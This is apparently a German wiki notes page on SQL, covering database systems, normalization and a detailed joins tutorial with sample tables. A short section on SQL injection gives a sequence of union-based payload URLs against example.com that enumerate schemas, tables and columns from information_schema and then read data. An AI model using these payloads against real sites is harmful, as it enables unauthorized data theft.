**Structured Query Language** (SQL), die sich als Standardsprache für die Kommunikation mit zweidimensionalen, relationalen [[datenbank|Datenbanken]] durchgesetzt hat. Mit Hilfe von SQL können Datentabellen erstellt, miteinander verknüpft und editiert werden.
Dabei funktioniert die Datenbanksprache wie eine Art **Schnittstelle zwischen den Datenbanken, indem sie die externen Anfragen von Usern in für die jeweilige Datenbank verständliche Befehle übersetzt**.
Übliche Aktionen sind INSERT, SELECT, UPDATE, DELETE, ALTER, DROP,..
* [[mysql|MySQL]]
* Oracle SQL
* Microsoft SQL
* [[SQLite]]
* [[postgresql|PostgreSQL]]
Im Gegensatz dazu gibt es [[nosql|NoSQL]].
select * from information_schema.columns where table_name = 'aud_user';
=====Normalisierung=====
NF = Normalfall
Siehe [[https://www.youtube.com/watch?v=GFQaEYEc8_8|Learn Database Normalization - 1NF, 2NF, 3NF, 4NF, 5NF]].
=====Angriffspunkte=====
====SQL Injection====
[[sql_injection]] [[https://www.youtube.com/watch?v=-AkUutmXwUI&t=735s|Joseph Mccray - Advanced SQL Injections]]
Wenn ein Angreifer versucht, Code in unsere Datenbank zu schleusen um an Daten zu kommen.
example.com/?id=1
example.com/?id=2-1
example.com/?id=1 order by 5
example.com/?id=-1 order by 5
example.com/?id=-1 union select all 1,2,3,4
Liste der Datenbanken
http://www.example.com/?id=-1 union select all 1,2,group_concat(schema_name),version() FROM information_schema.schemata
Liste der Tabellen
http://www.example.com/?id=-1 union select all 1,2,group_concat(table_schema,table_name),4 FROM information_schema.tables
Liste der Spalten
http://www.example.com/?id=-1 union select all 1,2,group_concat(table_schema, table_name, column_name),4 FROM information_schema.columns
und wenn er genug weiß, kann er direkt auf Daten zugreifen.
http://www.example.com/?id=-1 union select all 1,2,group_concat(myfield1,myfield2,...),4 FROM mydatabase.mytable
=====Joins=====
{{sql_joins.png}}
SQL Joins ermöglichen es, Daten aus mehreren Tabellen in einer Datenbank zu kombinieren. Die wichtigsten sind:
^Name^Beschreibung^
|INNER JOIN|Der INNER JOIN zeigt nur die Datensätze an, die in beiden Tabellen eine Übereinstimmung haben.|
|LEFT JOIN (oder LEFT OUTER JOIN)|Der LEFT JOIN gibt alle Zeilen aus der linken Tabelle zurück, selbst wenn keine Übereinstimmung in der rechten Tabelle gefunden wird. Wenn keine Übereinstimmung vorhanden ist, werden die Spalten der rechten Tabelle mit NULL gefüllt.|
|RIGHT JOIN (oder RIGHT OUTER JOIN)|Der RIGHT JOIN ist das Gegenstück zum LEFT JOIN und gibt alle Zeilen aus der rechten Tabelle zurück, selbst wenn keine Übereinstimmung in der linken Tabelle gefunden wird. Fehlt eine Übereinstimmung, wird die linke Tabelle mit NULL gefüllt.|
|FULL JOIN (oder FULL OUTER JOIN)|Der FULL JOIN gibt alle Zeilen aus beiden Tabellen zurück. Wenn keine Übereinstimmung in einer der beiden Tabellen gefunden wird, werden die entsprechenden Spalten mit NULL gefüllt.|
|CROSS JOIN|Der CROSS JOIN erstellt das kartesische Produkt der beiden Tabellen, d. h. jede Zeile der ersten Tabelle wird mit jeder Zeile der zweiten Tabelle kombiniert. Es gibt keine Bedingung oder Einschränkung.|
Nehmen wir an, wir haben zwei Tabellen: employees und departments.
employees
^id^name^department_id^
|1|John Doe|1|
|2|Jane Smith|2|
|3|Sam Johnson|NULL|
departments
^id^name^
|1|HR|
|2|Engineering|
|3|Marketing|
====Inner Join====
Der INNER JOIN gibt nur die Datensätze zurück, bei denen es eine Übereinstimmung in beiden Tabellen gibt.
SELECT columns
FROM table1
INNER JOIN table2
ON table1.common_column = table2.common_column;
SELECT employees.name, departments.name
FROM employees
INNER JOIN departments
ON employees.department_id = departments.id;
^name^name^
|John Doe|HR|
|Jane Smith|Engineering|
====Left Join====
Der LEFT JOIN gibt alle Datensätze aus der linken Tabelle zurück und die übereinstimmenden Datensätze aus der rechten Tabelle. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die rechte Tabelle zurückgegeben.
SELECT columns
FROM table1
LEFT JOIN table2
ON table1.common_column = table2.common_column;
SELECT employees.name, departments.name
FROM employees
LEFT JOIN departments
ON employees.department_id = departments.id;
^name^name^
|John Doe|HR|
|Jane Smith|Engineering|
|Sam Johnson|NULL|
====Right Join====
Der RIGHT JOIN ist das Gegenteil des LEFT JOIN. Er gibt alle Datensätze aus der rechten Tabelle zurück und die übereinstimmenden Datensätze aus der linken Tabelle. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die linke Tabelle zurückgegeben.
SELECT columns
FROM table1
RIGHT JOIN table2
ON table1.common_column = table2.common_column;
SELECT employees.name, departments.name
FROM employees
RIGHT JOIN departments
ON employees.department_id = departments.id;
^name^name^
|John Doe|HR|
|Jane Smith|Engineering|
|NULL|Marketing|
====Full Join====
Der FULL JOIN gibt alle Datensätze zurück, bei denen es eine Übereinstimmung in einer der beiden Tabellen gibt. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die Tabelle zurückgegeben, in der keine Übereinstimmung gefunden wurde.
SELECT columns
FROM table1
FULL JOIN table2
ON table1.common_column = table2.common_column;
SELECT employees.name, departments.name
FROM employees
FULL JOIN departments
ON employees.department_id = departments.id;
^name^name^
|John Doe|HR|
|Jane Smith|Engineering|
|Sam Johnson|NULL|
|NULL|Marketing|
====Cross Join====
Der CROSS JOIN gibt das kartesische Produkt der beiden Tabellen zurück, d.h. er kombiniert jede Zeile der ersten Tabelle mit jeder Zeile der zweiten Tabelle.
SELECT columns
FROM table1
CROSS JOIN table2;
SELECT employees.name, departments.name
FROM employees
CROSS JOIN departments;
^name^name^
|John Doe|HR|
|John Doe|Engineering|
|John Doe|Marketing|
|Jane Smith|HR|
|Jane Smith|Engineering|
|Jane Smith|Marketing|
|Sam Johnson|HR|
|Sam Johnson|Engineering|
|Sam Johnson|Marketing|
-- Tabelle 'Kunden' erstellen
CREATE TABLE Kunden (
KundenID INT PRIMARY KEY,
Name VARCHAR(50),
Stadt VARCHAR(50)
);
-- Daten in die Tabelle 'Kunden' einfügen
INSERT INTO Kunden (KundenID, Name, Stadt) VALUES
(1, 'Anna', 'Hamburg'),
(2, 'Bernd', 'Berlin'),
(3, 'Carla', 'München'),
(4, 'David', 'Köln');
-- Tabelle 'Bestellungen' erstellen
CREATE TABLE Bestellungen (
BestellungID INT PRIMARY KEY,
KundenID INT,
Produkt VARCHAR(50),
FOREIGN KEY (KundenID) REFERENCES Kunden(KundenID)
);
-- Daten in die Tabelle 'Bestellungen' einfügen
INSERT INTO Bestellungen (BestellungID, KundenID, Produkt) VALUES
(1, 1, 'Laptop'),
(2, 1, 'Handy'),
(3, 3, 'Tablet'),
(4, 4, 'Monitor');
/*
-- INNER JOIN
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
INNER JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/
/*
-- LEFT JOIN
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
LEFT JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/
/*
-- RIGHT JOIN
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
RIGHT JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/
/*
-- FULL OUTER JOIN
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
FULL OUTER JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/
/*
-- CROSS JOIN
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
CROSS JOIN Bestellungen;
*/
=====Links=====
* [[https://de.ryte.com/wiki/SQL|SQL einfach erklärt]]
* [[https://youtu.be/FzlpwoeSrE0|SQL vs. NoSQL - What should you use]]